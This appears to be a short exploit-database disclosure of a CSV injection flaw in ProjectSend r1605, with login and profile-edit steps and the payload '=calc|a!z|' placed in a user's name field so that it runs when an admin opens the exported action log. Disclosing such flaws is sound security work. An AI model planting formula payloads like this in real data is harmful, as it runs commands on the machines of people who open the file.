Exploit Title: projectSend r1605 - CSV injection  
Version: r1605  
Bugs: CSV Injection  
Technology: PHP  
Vendor URL:  
Software Link:  
Date of found: 11-06-2023  
Author: Mirabbas Ağalarov  
Tested on: Windows  
2. Technical Details & POC  
Step 1. login as user  
step 2. Go to My Account ( http://localhost/users-edit.php?id=2 )  
step 3. Set name as =calc|a!z|  
step 3. If admin Export action-log as CSV file ,in The computer of admin occurs csv injection and will open calculator ( http://localhost/actions-log.php )  
payload: =calc|a!z|